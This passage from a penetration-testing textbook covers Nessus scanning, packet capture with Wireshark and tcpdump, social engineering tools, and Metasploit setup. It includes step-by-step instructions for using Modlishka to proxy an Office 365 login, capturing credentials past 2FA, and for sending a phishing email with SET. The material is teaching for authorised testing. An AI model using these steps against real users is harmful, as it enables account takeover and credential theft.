scan templates. A scan template is a set of predefined tasks that you can quickly leverage
for a specific type of scan. Some templates are only available in the paid license version of
Nessus. For our demo, we will use the Basic Network Scan template. Once we've selected
this template, we will be presented with a number of options.
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Under the Settings tab, in the General section, we will provide inputs for the Name,
Description, and Targets fields, as shown in Figure 22:

Figure 22: Nessus scan general conﬁguration
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The next section we will configure is under the Discovery section, and the Scan Type that
we will select is Port Scan (common ports). After that, we will select Assessment and
choose the Scan for all web vulnerabilities (complex) option. Lastly, we will click on Save.
Once you have saved the scan, you will be directed back to the main admin page, where
you can now select your saved scan and then click on the Launch button. Your scan will
now begin running and after a while, you will be presented with the output, as shown
in Figure 23:

Figure 23: Nessus scan results
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As we can see, Nessus found a number of vulnerabilities in Metasploitable 2. Nessus places
these findings in order of criticality. Nessus is able to provide detailed information about
the findings. For example, by looking at one of the critical findings, we can see that Nessus
provides information on exploitability. It even goes one step further and covers what the
vulnerability is exploitable with, as shown in Figure 24:

Figure 24: Nessus vulnerability information

You can perform a Nessus scan on both Metasploitable 2 and 3 virtual
machines. In Chapter 5, Diving into the Metasploit Framework, you will use
the Nessus scan of the Metasploitable 3 virtual machine.
Nessus and OpenVAS are both excellent vulnerability scanners. It's important to note that
as a penetration tester, knowing how to interpret the vulnerability assessment results is a
key skill to have. Generally, verification of the results will need to be conducted manually
to ensure that you have the full picture and can eliminate any false positives.
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Capturing traffic
Learning how to use packet-capturing tools is vital for any security professional. We will
cover two packet capturing tools in this section: Wireshark (GUI-based) and tcpdump (CLIbased).
Before we begin using these tools, let's take a step back to understand why there will be a
need to capture traffic when performing a penetration test. Network traffic travels in
packets, and each packet holds a number of fields that contain the information it needs to
travel across the network and perform a certain function. Performing a packet capture (or
packet sniffing) will allow you to view the structure of the packets, plus any data that is
available. Some protocol traffic is unencrypted, such as FTP. This will allow you to see the
username and password in clear text.
Packet sniffing is a type of wire tap that is applied to computer networks.
You can liken this to phone tapping, where a conversation is spied on.

Wireshark
Wireshark has been the prime choice for packet capturing for many users worldwide. It is a
cross-platform tool that allows you to perform packet capturing and analysis.
Some of the main features of Wireshark are as follows:
Live packet capture with analysis (offline analysis or on the fly)
Deep packet inspection
Decryption support for protocols such as SSL/TLS, IPSEC, SNMPv3, Kerberos,
WPA/WPA2, and more
Within Wireshark, you have the ability to apply a capture filter and a display filter.
Understanding the differences between these two filters and how to apply them will help
you capture the relevant packets and filter out the noise.
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Capture filters are used to reduce the size of the raw packet captures, while display filters
are used to filter out what is captured and only display certain data. Capture filters are
applied before the capture starts and cannot be changed during the capture. On the other
hand, display filters can be applied at any time.
Some capture filters can be very basic and simple. Let's go over a few examples:
Capturing traffic for a specific host is as follows:
host 192.168.90.1

Capturing traffic for a specific subnet is as follows:
net 192.168.90.0/24

Some capture filters can be complex, such as the one to detect the heart bleed
exploit:
tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18) and
(tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and (tcp[((tcp[12] &
0xF0) >> 4 ) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F) 4 * ((tcp[12] & 0xF0) >> 4) > 69))

Display filters can also be basic. Let's go over a few examples:
Displaying traffic for communication between a specific source and its
destination is done as follows:
ip.src==192.168.90.0/24 and ip.dst==192.168.90.1

Looking for traffic on a specific port is done with the following command:
tcp.port eq 445
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In the following screenshot (Figure 25), I have marked the fields where you define
a display and capture filter:

Figure 25: The display and capture ﬁlters
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Wireshark has the ability to display credentials in clear text for unencrypted traffic. For
example, while capturing Telnet traffic, we can use Follow | TCP Stream to follow the TCP
stream as shown in Figure 26:

Figure 26: Using Follow | TCP Stream
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Note that by using the Follow | TCP Stream option, we are able to see the Username and
Password in clear text, as shown in Figure 27:

Figure 27: FTP credentials in clear text

The preceding captures were taken from http://packetlife.net/
captures. You can find more packet captures that you can download for
free to test out the functionality of Wireshark at http://packetlife.net/
captures/Wireshark.
Having the graphical interface of Wireshark makes it easier to work with packet captures.
However, if you don't have the ability to use Wireshark, then you will need to know how to
leverage a command-line packet capture tool such as tcpdump.
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tcpdump
tcpdump is the most widely used packet capture utility. It is available on Linux/Unix-based

operating systems, which means it's installed by default in Kali Linux. It has the abilities to
save captures to a .pcap file and read .pcap files.
tcpdump has a number of switches that you can use. Some of its common switches are as

follows:

tcpdump -d: Displays a list of interfaces
tcpdump -i [interface]: Specifies an interface to perform the packet capture

on
tcpdump
tcpdump
tcpdump
tcpdump

-c: Specifies the number of packets to capture
-w /path: Defines a file that tcpdump should write to
-r /path: Reads a capture file
-XX: Captures packets in ASCII or HEX

The following is a practical example of using tcpdump to capture FTP traffic. Using
tcpdump, you are able to see the username and password in clear text, as shown in Figure
28:

Figure 28: Login details in plain text

You can replicate the preceding test by using a publicly accessible ftp server, which is used
for speedtest. The URL is speedtest.tele2.net.
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Summary
In this chapter, we looked at information gathering and vulnerability scanning. We defined
the difference between active and passive information gathering. We worked through the
various tools that can be used for passive and active information gathering, and the tools
that are needed for vulnerability scanning. Lastly, we worked through packet captures
using graphical and command-line tools.
You now have the ability to perform information gathering using open source intelligence,
which is passive information gathering. You have learned how to use Nmap for active
information gathering, and how to leverage the Nmap scripting engine. You have gained
the necessary skills to use vulnerability scanners such as OpenVAS and Nessus, and know
how to perform a vulnerability scan to plan your attack. Packet capturing has taught you
how to sniff traffic traversing a network, and how you can obtain valuable information
from insecure protocols.
In the next chapter (Chapter 4, Mastering Social Engineering), we will look at what social
engineering is and the different tools that you can use to perform social engineering. We
will leverage built-in tools within Kali Linux, along with some additional tools that will
need to be installed.

Questions
1.
2.
3.
4.
5.

What is the difference between passive and active information gathering?
Name two tools that can be used for passive information gathering.
How has Nmap evolved from being a traditional port scanner?
Name two vulnerability scanners.
Why should you know how to perform packet capturing?
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Mastering Social Engineering
Penetration testing does not always involve using a computer and firing exploits. In this
chapter, we will learn how to master the art of social engineering, a skill that every
penetration tester should have. Social engineering can be complex, as you try to
use psychological manipulation to break the minds of your targets.
In this chapter, you will benefit from knowing what social engineering is, the different
types of social engineering, and what tools can be used to perform social engineering. You
will gain skills by learning how to build a social engineering attack using tools within Kali
Linux. By continuing to explore and solidifying your social engineering skills, you can
build a social attack, which, if executed on the right targets, can lead to you achieving your
goal by using minimal software exploits.
As you progress through this chapter, you will learn about the following topics:
What is social engineering?
Social engineering tools
Creating a social engineering campaign

Technical requirements
The following technical requirements are needed for this chapter:
Kali Linux 2019.1
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What is social engineering?
Social engineering can be defined as a form of psychological manipulation that persuades a
person into giving up confidential information. It is a form of a cyberattack that uses
trickery and deception instead of using any type of software exploit. Of course, software is
involved in building a social engineering attack, but the main component is how well you
deceive the target into believing what you are doing is legitimate.
Software and humans are really not that different from each other. You may be wondering
how humans and software can be so similar. Well, when it comes to vulnerabilities in both
software and humans, these can be exploited and taken advantage of by attackers to get
what they want. In relation to software, it's related to buggy code that is generally
exploited, which leads to flaws in software that an attacker can compromise.
With humans, it is our nature that makes it easy for people to target others using
psychological manipulation. Humans have a variety of emotions that separate us from
other living creatures. However, some of those emotions are prime targets for social
engineering attacks. For example, we have the following emotional traits:
Helping others
Trusting others
Fear
Obedience to authority
Social engineering attacks take advantage of the vulnerabilities of our emotions, and
persuade us into performing an activity such as clicking a fraudulent link, visiting a
malicious website, or opening a malicious document.
Most organizations invest a lot of effort into training employees about social engineering,
but sadly, some do not. Irrespective of security controls that are put in place, end users will
ultimately have access to sensitive information that can cause harm to an organization if it
fell into the wrong hands. Curiosity will cause a person to pick up that USB lying on the
floor and plug it in to see what is on it. Dropping infected USB sticks around a target
organization is a common penetration testing technique, and it is also used by attackers.
Social engineering comes in many forms, so let's explore some of them.
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Pretexting
Pretexting can be defined as the practice of presenting yourself as someone else, with the
intention of obtaining information. Pretexters can impersonate co-workers, IT staff,
bankers, friends and family, or anyone that can be perceived as trustworthy or having
authority over the target.
Pretexting forms the foundation for any social engineering attack. When you're performing
a penetration test, make sure that you spend enough time building a solid and believable
pretext.
For example, we have all received emails claiming that we have inherited a small fortune,
but in order to claim it, we need to either provide some kind of information or click on a
link. The chances of a person falling for this is very slim, as the pretext is very poor. Let's
assume that you always purchase online from Amazon, and now you receive an email from
Amazon stating that there is a package that cannot be delivered due to missing information.
This becomes more believable as the pretext is more solid.
During a penetration test, you need may need to simulate a social engineering attack.
Conducting proper information gathering on your target is critical to building a believable
pretext. Some of the things that you would consider are company size, locations, number of
employees, emails, employee information, and so on. You would also look at what is
available from a technological standpoint, such as public-facing web servers, VPNs, and
email servers.
Once you have obtained enough information, you can start defining success criteria for
each pretext. For example, if the target organization does not have offices spread across the
country, the chance of success of posing as an employee is low, as the employees are
probably well-known. However, if the organization has a large presence that spans across
multiple countries, you have a higher success rate of posing as an employee from a
department in another location.
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Phishing
Phishing is a cyberattack whereby an attacker uses a disguised email to obtain sensitive
information from a target. Information that's obtained can be anything from credit card
details, user login information, network credentials, and more. This type of attack is done
against both individuals and large organizations. You have probably noticed a lot of
phishing emails in your personal email, since these attacks are performed at a very large
scale. In this type of attack, the attackers are not interested in anyone specifically. They are
simply casting a wide net, so to speak, in order to persuade any unsuspecting person into
providing valuable information.
Some of the common features of a phishing email are as follows:
Attachments: You often notice attachments in emails that claim to contain an
invoice or document. These usually contain a macro, which contains a payload
that can drop a remote shell, allowing an attacker to access your computer, or
even drop malware such as ransomware. Lately, some of these emails have been
containing .html files, which are often in .doc or .js format. These have a low
detection rate by antivirus software as they are not generally associated with
email attacks. Of course, as antiviruses mature, so does the attacker's tactics.
Hyperlinks: Some phishing emails may contain a link redirecting you to a
website that may look legit. Common types of phishing emails are those that
request you to reset your password, or confirm your details to avoid your
account being disabled, and so on. Usually, when you hover over the link, you
will see the actual URL, which is not legitimate, but as the attackers mature in
their tactics, they start using URLs that seem very similar to the legitimate one.
For example, https://www.facebook.com/ could be depicted as
www.faccebook.com or www.faceboook.com, which can be easily missed if you
don't look carefully.
Too good to be true: Many phishing emails have statements that are designed to
attract people's attention. These are usually related to lucrative offers, such as
winning a device, the lottery, or inheriting a small fortune from a distant relative.
One thing to keep in mind is that if it seems too good to be true, it probably is.
Phishing kits are easily available on the dark net. The availability of these kits makes it easy
for attackers with minimal skills to launch a phishing campaign. A phishing kit bundles
website resources and tools that are ready to be installed on a server. Once installed, all that
is required is for the attacker to send emails to the victims, which directs them to the
phishing site.
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To keep abreast of current phishing links, take a look at the phishing feeds
hosted on OpenPhish (https://openphish.com) and PhishTank (https://
www.phishtank.com).

Spear phishing
Spear phishing is a cyberattack that is targeted toward a specific individual, department, or
company that appears to be from a trusted source. This type of attack is hard to spot and
are well thought out, and often the targets are researched well in advanced before such an
attack is performed. This is not like a normal phishing attack where the attackers cast a
wide net; spear phishing is a directed attack.
The core component of a spear phishing attack is information gathering. Gathering
information about email addresses, people, and their positions within the target
organization (using OSINT tools such as LinkedIn) will help you define who your target
will be and who you can impersonate. As we learned in Chapter 3, Performing Information
Gathering, open source intelligence can provide you with a wealth of information on your
targets.
Some common features of spear phishing attacks are as follows:
Business email compromise (BEC): This aims to abuse processes such as payroll
or invoices. The attack would leverage an email from a reputable source (within
the from field) and contain a document related to an invoice. To the average
human, nothing appears untoward and they would open that invoice and
ultimately expose their system to the attack.
Multi-vector threats: This attack uses multiple attack vectors. For example, the
spear phishing email will contain dynamic URLs, drive-by downloads, and a
payload encoded within a document to avoid detection.
Virtually undetectable: Since a well-crafted spear phishing email does not have
characteristics that are found within the large amounts of normal phishing emails
that are found on the internet, it makes it harder to detect by traditional
reputation and spam filters.
Whaling: In this type of attack, a spear phishing campaign is directed at a highprofile target, often someone in the c-suite of an organization. High-profile
people often have more privileged information than the average person, and this
makes them a prime target. Any information that's stolen in a whaling attack is
more lucrative on the black market, over and above the possibility of privileged
credentials that an attacker can use.
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Tailgating
Tailgating (also known as piggybacking) is a form of physical social engineering.
Tailgating can be defined as a physical security breach where an unauthorized person
follows an authorized person into a secure area.
A common type of tailgating would be someone waiting around a common area with their
hands full for an authorized person to open an access-controlled door. During this time, the
unauthorized person could ask them to hold the door open while they rush through. Some
other forms might include striking up conversations with employees at a common smoking
area. By the time the employee has completed smoking, he or she will likely hold the door
open for you, masquerading as an employee. Humans have common courtesy, which can
lead to vulnerabilities, such as holding doors open for unauthorized people.
Some organizations have good physical security in place, so this might not work
everywhere. However, performing sufficient information gathering on the target's physical
security will help you plan your attack.
As you perform penetration testing, you can leverage any of the preceding techniques
within your penetration test. Having a good background understanding of what each
technique entails will help you plan your penetration test more effectively.

Social engineering tools
There are a number of social engineering toolkits available on the internet. Some are used to
perform social engineering tasks as a form of awareness, while others are sold on the dark
net for malicious purposes. We will not focus on social engineering tools on the dark net, as
this is out of the scope of this book, but we will look at the tools that are available within
Kali Linux and others that you can install.

The social engineering toolkit (SET)
The social engineering toolkit (SET) is a suite of tools that allows you to focus on the
human element while conducting penetration testing. The main purpose of the social
engineering toolkit is to create social engineering attacks that you can use. The tool is a
Python-driven tool that's currently supported on Linux. At the time of writing, it's under
the experimental phase for macOS.
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The social engineering toolkit allows you to create a number of social engineering attacks.
Attacks that are currently included at the time of writing are as follows:
Spear-phishing attacks: Allows you to create email phishing campaigns.
Website attacks: Allows you to create attacks such as website cloning and more.
Infectious media generator: Enables the creation of an autorun, which can be
used on a USB device.
Create a payload and listener: Creates a reverse shell payload, allowing access to
the target machine.
Mass mailer attack: Creates a phishing email that can be sent to a large audience.
Arduino-based attacks: Allows you to create attacks by leveraging Arduino
devices such as the Teensy. When inserted into a PC, it's detected as a keyboard,
allowing exploits to be delivered to the target machine.
Wireless access point attacks: Enables a malicious wireless access point to be
created and allows you to intercept traffic as it passes.
QRCode generator attacks: Generates a QRCode to any URL you specify. This is
good for redirecting your targets to a malicious URL.
Powershell attacks: Creates Powershell-based attacks, which can be used to
perform a blind shell or dump a SAM database.
SMS spoofing attacks: Creates an SMS, which can be used to social engineer
your target.
At the time of writing, the current version of the social engineering toolkit was 8.0. The
pre-installed version in Kali Linux 2019.1 is 7.7.9:

Figure 1: Pre-installed version in Kali 2019.1
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In order to update to the latest version, you will need to download the latest version from
the TrustedSec GitHub repository, which is located at https://github.com/trustedsec/
social-engineer-toolkit.
Once the download is completed, you can extract the contents of the folder within the .zip
file to /usr/share/set to overwrite the necessary files. Once this is completed, you will
be able to launch the latest version by running the setoolkit command from a Terminal
window within Kali Linux.
The social engineering toolkit has a ton of features that can be used in your penetration
tests. Exploring the various techniques that it offers will help you craft a phishing campaign
that is effective. The social engineering toolkit is pre-installed in Kali Linux 2019.1. You can
access it using the setoolkit command from a Terminal window.

Gophish
Gophish is an open source framework that can be used to conduct phishing campaigns. It is
designed for businesses and penetration testers. Gophish is cross-platform, and so you can
run this tool on Windows, macOS, and Linux-based operating systems. Gophish has a
graphical interface, making it easy and simple to build a phishing campaign. You have the
ability to build a campaign and schedule its launch to a time that you prefer.
Some of the main features of Gophish are as follows:
The ability to use templates and create your own
Clone websites and define landing pages
Capture credentials
Schedule campaigns
Build reports about the phishing campaign
Gophish is not pre-installed with Kali Linux and is available for download here: https://
github.com/gophish/gophish/releases.
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Modlishka
Modlishka takes phishing campaigns to the next level. It is a flexible and powerful reverse
proxy that provides a high level of automation for phishing attacks.
The aim of Modlishka is to do the following:
Focus more on penetration testers who are carrying out an effective phishing
campaign to show that phishing is a serious threat
Look at current two-factor authentication (2FA) weaknesses and highlight these
so that solutions can be put in place
Raise awareness about phishing techniques
What is unique about Modlishka is that there is no need for templates. In other social
engineering tools, you would need to use a template, or even build your own. Modlishka
works on a reverse proxy so that the target website is opened live.
Some of the main features of Modlishka are as follows:
Support for most 2FA schemes
No need to create a website template—all you need to do is point Modlishka to
the target domain
The TLS cross origin flow is fully controlled from the target's browser
Phishing scenarios are easily configurable and flexible
Ability to use pattern-based JavaScript payload injection
Ability to strip the encryption and security headers
Credential harvesting
Support of plugins
The installation of Modlishka requires the Go language. The Go language is an open source
programming language that is developed by Google. It uses syntaxes similar to scripting
languages, thus making it easy to build simple, reliable, and efficient software.
We will cover the installation of Modlishka later in this chapter.
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Wifiphisher
Phishing does not only involve specially crafted emails and attachments. WiFi access points
can be used to launch a phishing campaign against targets. There are multitudes of wireless
networks available, with many of them being open to provide free access to the internet.
Wifiphisher is a tool that allows you to mount automated phishing attacks against wireless
networks in order to steal credentials or drop a payload such as malware. Wifiphisher is
capable of using modern attack techniques such as KARMA, Known Beacons, and Evil
Twin:
Known Beacons: This technique allows Wifiphisher to broadcast ESSIDs that are
known
KARMA: This is a technique where Wifiphisher masquerades as a public
network
Evil Twin: This technique creates rogue access points
Some of the main features of Wifiphisher are as follows:
The ability to run on devices such as a Raspberry Pi.
It's extremely flexible in that it supports a multitude of arguments and uses
community-driven phishing templates, which can be used for various scenarios.
It allows you to write simple or complicated modules that are based on Python.
Wifiphisher allows you to write your own custom phishing scenarios that you
can leverage in targeted penetration tests.
It's simple to use, since it allows you to run the ./bin/wifiphisher command.
This will bring up an interactive text interface to help you build an attack.
A list of available phishing scenarios are shown in the following screenshot:

Figure 2: List of available phishing scenarios in Wiﬁphisher
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At the time of writing, Wifiphisher is currently supported on Linux, with Kali Linux as its
officially supported distribution. In order to use Wifiphisher, you must have a wireless
network card that is capable of packet injection and supports monitoring mode. We will
explore this in depth in Chapter 9, Getting Started with Wireless Attacks. Wifiphisher is not
installed by default in Kali Linux 2019.1.
Wifiphisher can be installed using the following command:
apt-get install Wifiphisher

Creating a social engineering campaign
Let's take a look at creating a social engineering campaign for a penetration test. In this
campaign, we will target Office 365 users using Modlishka.

Installing Modlishka
In order to use Modlishka, we need to install the Go Language within Kali Linux. Perform
the following steps to install it:
1. From a Terminal window within Kali Linux, issue the apt-get install
golang command. This will install the Go language. We need to define a GOPATH
using the export GOPATH=$HOME/Downloads/GO command. To confirm the
path that we have set, we can use the echo $GOPATH command:

Figure 3: Installing Go and deﬁning the GOPATH

[ 103 ]

Mastering Social Engineering

Chapter 4

2. Next, we need to download Modlishka into the GO folder. We do this by running
the go get -u github.com/drk1wi/Modlishka command. This will now
start to download Modlishka into the GO folder that we defined in Step 1. If you
have used the preceding commands, your Modlishka installation will reside
in /root/Downloads/go/src/github.com/drk1wi/Modlishka:

Figure 4: Downloading Modlishka

3. Now, we need to create a SSL certificate. Alternatively, you can use one that you
may already have that's tied to your phishing domain. Before we can create a
certificate, we need to generate an RSA private key. This can be done using
the openssl genrsa -out ModlishkaCA.key 2048 command. Here, we are
generating a 2048 bit key:

Figure 5: Generating the RSA private key
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4. Next, we generate the certificate using the key we created in Step 3. To create the
certificate, we use the openssl req -x509 -new -nodes -key
ModlishkaCA.key -sha256 -days 1024 -out
ModlishkaCA.pem command. Once you have entered the command, you will be
prompted to provide details about the certificate.
In these fields, you will fill in details similar to what you did in the target domain
that you want to perform the phishing attack on. Remember to import this
certificate into the server that you will use for the phishing campaign. In the case
of this demo, I have imported into Firefox ESR on Kali Linux:

Figure 6: Generating the SSL certiﬁcate

5. Now, you need to import the key and certificate into the Modlishka certificate
configuration file. You can open
the ModlishkaCA.pem and ModlishkaCA.key files using any text editor. The
certification configuration file is located in the GO folder. If you used the
preceding commands, then it will be located
in /root/Downloads/go/src/github.com/drk1wi/Modlishka/plugin/aut
ocert.go.
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6. You will need to replace the values of the CA CERT = and the CA CERT KEY
= fields with ModlishkaCA.pem and ModlishkaCA.key, respectively. Make
sure that you paste data from each file within the inverted commas:

Figure 7: Pasting in the cert and key ﬁle data

7. Once you have imported the certificates, you need to compile the tool using the
make command:

Figure 8: Output of running make command in Modlishka
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Now, the tool is ready to be used. We will use a template that is already installed by default
within the /templates folder. For the sake of this demo, the phishing URL will remain
local on Kali Linux.
In a real penetration test, you can modify the template file or create your own. You will
need to modify fields such as phishingDomain, listening port, listeningAddress,
target, and so forth. In this demo, we will use the office365.json template, without
any changes:

Figure 9: Oﬃce365.json template conﬁguration

This concludes the setup of Modlishka. Now, we will move on to executing a phishing
attack using Modlishka.

[ 107 ]

Mastering Social Engineering

Chapter 4

Executing the attack
The following steps demonstrate how to perform a phishing attack using Modlishka:
1. Now that Modlishka is set up, let's start the program using the Office 365
template. Modlishka can be started using the ./dist/proxy -config
templates/office365.json command. Note that once the tool is started, it
will provide you with the proxy address. If you have followed the steps in the
previous section, we did not define any address and used the
built-in https://loopback.modlishka.io:

Figure 10: The Modlishka reverse proxy has started

2. Now, we can perform a login as if we were the user. I've used a demo Office 365
tenant that I current own. In the following screenshot, you will notice the
page that's presented is for the Office 365 login page, but take note of the
URL. For the sake of illustration, I have left it as the
default loopback.modlishka.io, but when you perform a phishing attack in a
penetration test, you will need to have a domain name that will be almost
identical to your target:
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Figure 11: Oﬃce 365 login page proxied through Modlishka

The login process works as if the user is logging into Office 365, because the user
is actually logging into Office 365. Modlishka is acting as a proxy for the traffic so
that we can intercept any credentials. After the password is entered, the user is
presented with a 2FA prompt to approve the login. Note
the rewriteResponses in the background window:

Figure 12: 2FA being proxied through Modlishka
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3. Once the user approves the sign-in request, access is granted to Office 365 and
the user can continue to work as normal. Let's take a look at what Modlishka was
able to detect in the log file. In the JSON configuration file, we defined the name
of the log file using the string "log ": "ms.log". This will be located in the
root of the Modlishka folder. By using a basic concatenate command to look for
fields such as "login=" and "passwd=", we are able to see the user's credentials
in plain text:

Figure 13: Credentials in plain text

The %40 shown in the username is the HTML character set code, which is translated into
the "@" symbol.

Using SET to create a phishing campaign
Let's perform a simple phishing attack using the social engineering toolkit (SET):
1. From a Terminal window, type in the setoolkit command to launch the social
engineering toolkit.
2. Once the toolkit has loaded, we will need to select option 5, Mass Mailer
Attack, and then option 1, EMail Attack Single EMail Address:

Figure 14: Selecting the Mass Mailer Attack
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3. Next, we will define the parameters of the email. Here, you can specify the
source address and the names of the sender and recipient, along with attaching a
malicious file, among other things. We will not attach a file, instead using a
malicious phishing link. The link was typed for illustration purposes, but the link
is non-existent. Once you have filled in all the fields, the email will be sent:

Figure 15: Deﬁning the parameters for the phishing email

There are a number of open relay mail servers on the internet. You can use
services such as Mailgun and SendGrid to test in your own environment.

Notice that the email was received in the target's mailbox with the parameters we defined:

Figure 16: The malicious email received in target's mailbox
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The social engineering toolkit has a lot to offer, and having a good understanding of the
various options and how to use them will be beneficial as you plan your phishing
campaigns in your penetration tests. Please explore the various options in your own lab
environment.

Summary
Social engineering really boils down to exploiting the nature of humans to trust people. It
uses techniques that rely on human weaknesses rather than software or hardware
weaknesses. There are a number of social engineering tools available on the internet that
you can leverage to launch a social engineering attack as part of your penetration test.
In this chapter, you have learned what social engineering is and the various types of social
engineering. We highlighted the main features of each technique and looked at where you
can find an up-to-date repository of the current phishing links that exist. We looked at
common tools that can be used to create a social engineering campaign, and we worked on
creating a campaign targeting Office 365.
In the next chapter (Chapter 5, Diving into the Metasploit Framework), we will begin working
with Metasploit. We will look at what Metasploit is, what you can accomplish using it, and
how to use various exploits from Metasploit.

Questions
1.
2.
3.
4.
5.

What is social engineering?
What does social engineering rely on to make a successful attack?
What is an important foundational step to building a social engineering attack?
Name two types of social engineering attacks.
Which tool is unique to Modlishka?

[ 112 ]

5
Diving into the Metasploit
Framework
The Metasploit Framework is a penetration testing platform that makes exploiting target
machines simple. It is an intuitive tool that is an integral part of any penetration tester's
toolkit. It is maintained by Rapid7, but there are many contributors in the security
community.
In this chapter, we will explore the modularity and flexibility of the Metasploit Framework.
Since there are regular exploits being developed which can be added into Metasploit's
already large database, you will learn how to find and import these. We will explore the
various options that exist for payloads and the difference between various shells. Building
skills in Metasploit can enhance your penetration tests, making it easy by using exploits
that already exist, as opposed to writing your own.
As you progress through this chapter, you will learn about the following :
Introducing Metasploit
Finding modules
Adding modules
Metasploit options shells and payloads
Working with MSFvenom

Technical requirements
The following technical requirements are needed for this chapter:
Kali Linux 2019.1
Metasploit Framework version 5
Metasploitable 3 virtual machine

Diving into the Metasploit Framework

Chapter 5

Introducing Metasploit
Metasploit is classified as the world's most used penetration testing software. It is a
penetration platform that enables you to work with vulnerabilities by finding, exploiting,
and validating them. It is maintained by Rapid7 and comes in two editions, Metasploit Pro
and the community edition called the Metasploit Framework. Of course there are more
features in the Pro edition, but the features available in the community edition are not to be
overlooked. The features that are included in the Metasploit Framework will provide you
with enough knowledge to learn how to use the Metasploit Framework and what you can
achieve by leveraging it in your penetration tests.
Metasploit's architecture is flexible and modular, which aids developers in creating
working exploits as vulnerabilities are announced. The interface of Metasploit is intuitive
and offers a way to run exploit code that has been trusted by the security community.
Using Metasploit, as opposed to trying to write your own exploit, can save you time during
a penetration test. As you have learned in Chapter 1, Introduction to Penetration Testing,
penetration tests are time-bound. So, spending time on crafting your own exploit can waste
valuable time that could be used for other tasks.
Not all exploits will work as designed; some might do more harm than good. It is important
to be vigilant when using exploits that are available on the internet.
In Kali Linux 2019.1, the version of the Metasploit Framework is version 5. Version 5 has
introduced some new features such as the following:
Support for Go, Python, and Ruby languages, which can be used in modules
New database and automation APIs
New evasion modules and libraries
Multiple host capabilities in the exploit module using the file:// option
You can read the full release notes at Rapid7's post: https://blog.
rapid7.com/2019/01/10/metasploit-framework-5-0-released/.
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There are a few types of modules that exist in the Metasploit Framework, as defined in the
following:
Exploit modules: Using the exploit module, a series of commands are executed
on a target, leveraging a specific vulnerability. Typically, this technique uses an
exploit that has been discovered and released publicly to obtain access to the
objective. Examples of exploit modules include injection of codes, buffer
overflows, and exploits on the web.
Auxiliary modules: There are no payloads in the auxiliary module. Instead,
random measures are used that are not directly related to exploitation. For
instance, an auxiliary module can perform an enumeration scan of users or
shares. Fuzzers and server capture modules are other examples of
auxiliary modules.
Post-exploitation modules: The post-exploitation module allows you to collect
additional information or elevate your access to the target system. Some
instances of these modules include hash dumping (which we will cover in
Chapter 6, Understanding Password Attacks) and service and app enumerators.
Payloads: A payload is a shellcode, executed after a system has been successfully
compromised. The aim of the payload is to define how you want to connect to
the target system shell and what you want to do after you obtain control. For
instance, you can open a Meterpreter session. Meterpreter is an advanced
payload with a DLL injection in memory, hence it never touches the disk.
NOP generator: Using NOP generators, you create a random byte range that
allows you to bypass NOP sled signatures in standard intrusion detection and
prevention devices.
Let's get started with the Metasploit Framework, with some initial configuration steps. The
Metasploit Framework is launched from a Terminal window within Kali Linux using the
command: msfconsole.

Updating the Metasploit Framework
In the past, updating the Metasploit Framework would entail running the msfupdate
command once you started the application. Now that the Metasploit Framework is
included by default within Kali Linux, you can update it by running the following
command:
apt update && apt install metasploit-framework
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This will install the latest release of the Metasploit Framework.

Linking the Metasploit Framework to a database
Metasploit provides support for a backend database that supports PostgreSQL.
You do not have to have a database if you want to simply run the Metasploit Framework,
but it makes it useful if you would like to view the data you have collected. Creating a
database is done using the following steps:
1. First, you need to start the PostgreSQL service using the service PostgreSQL
start command from a Terminal window in Kali Linux.
2. Once the service has started, we need to define the Metasploit username and
password that will connect to the database we will create. In order to create a
username and password for the database, we need to migrate to the PostgreSQL
user. This is done using the su postgres command. You will notice that your
prompt now changes to postgres@kali:~#. Now, we will create a user using
the createuser [name] -P command. Follow the prompts and define a
password. In my setup, I have used the msf_user username, as shown in the
following screenshot:

Figure 1: Creating a user for the PostgreSQL database

3. Now, we create the database using the created --owner=[name]
[database] command. In my setup, I have used the msf_user username and
the database is called msf_database, as shown in the following screenshot:

Figure 2: Creating the database and linking the user to it
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4. Next, we will open the Metasploit Framework using the msfconsole command.
Once everything has loaded, we will connect to the database we have just created
using the following command:
db_connect [username]:[password]@127.0.0.1/[database name]

For example, we can use db_connect
msf_user:password@127.0.0.1/msf_database, as shown in the
following screenshot:

Figure 3: Connecting to the database that was just created
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5. To enable Metasploit to automatically connect to the database, we will need to
edit the database.yml file, which is located at /usr/share/metasploitframework/config/, as shown in the following screenshot.
Before editing the database.yml file, ensure that you exit out of the
Metasploit Framework.

If you do not have the file, you can modify the sample file and add in the
details of the database you have created, plus the user login details. Save the
file as database.yml:

Figure 4: Modifying the database.yml ﬁle
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6. Once the file has been modified, you can launch the Metasploit Framework again
and check the database connection using the db_status command. If everything
is in order, you will see a message displaying which database Metasploit is
connected to, as shown in the following screenshot:

Figure 5: Checking the database connection within the Metasploit Framework

If you do not have the PostgreSQL service started before running the
Metasploit Framework, then, when opening the Metasploit Framework,
you will receive database connection errors.
The database allows you to store information such as host data and exploit results. Having
Metasploit store data in a database enables you to access the results for future reference.
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Enhancing your experience within Metasploit
Using the workspaces functionality of Metasploit enables you to organize your
movements while performing penetration tests. For example, if you are performing various
tasks against different departments, you can create workspace for each department, as
shown in the following screenshot:

Figure 6: Creating and deleting workspaces

The command to create workspace is workspace -a [name] and to delete it, we
use workspace -d [name]. To switch between workspaces, you can use the workspace
[name] command. Notice that you can define multiple workspaces within one line by
separating the names with a space.
Metasploit enables you to import scans such as those that were run by Nmap or Nessus.
In Chapter 3, Performing Information Gathering, you would have exported the Nmap scan of
Metasploitable 3 to a .xml file. In order to import that into the Metasploit Framework, you
can use the db_import [path to file] command, as shown in the following
screenshot:

Figure 7: Importing an Nmap scan
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To convert an Nmap-exported XML file into HTML, you can leverage this
command: xsltproc <nmap-output.xml> -o <nmap-output.html>.

Metasploit has a Nessus bridge that can allow you to connect to your Nessus database and
import scans directly into Metasploit. Let's perform an import using the scan we performed
in Chapter 3, Performing Information Gathering:
1. From a Terminal window, open the Metasploit Framework using
the msfconsole command. Once the framework has loaded, we will load the
Nessus bridge plugin using the load nessus command. Next, you need to
connect to your Nessus database. Ensure that the Nessus service is running, then
connect using the nessus_connect username:password@IP command, as
shown in the following screenshot. In my setup, I have the database locally on
Kali, hence I am using the loopback address of 127.0.0.1:

Figure 8: Connecting to the Nessus database within the Metasploit Framework

2. Once you have connected to the Nessus database, you can view your list of scans
by entering the nessus_scan_list command, as shown in the following
screenshot:

Figure 9: Viewing a list of Nessus scans
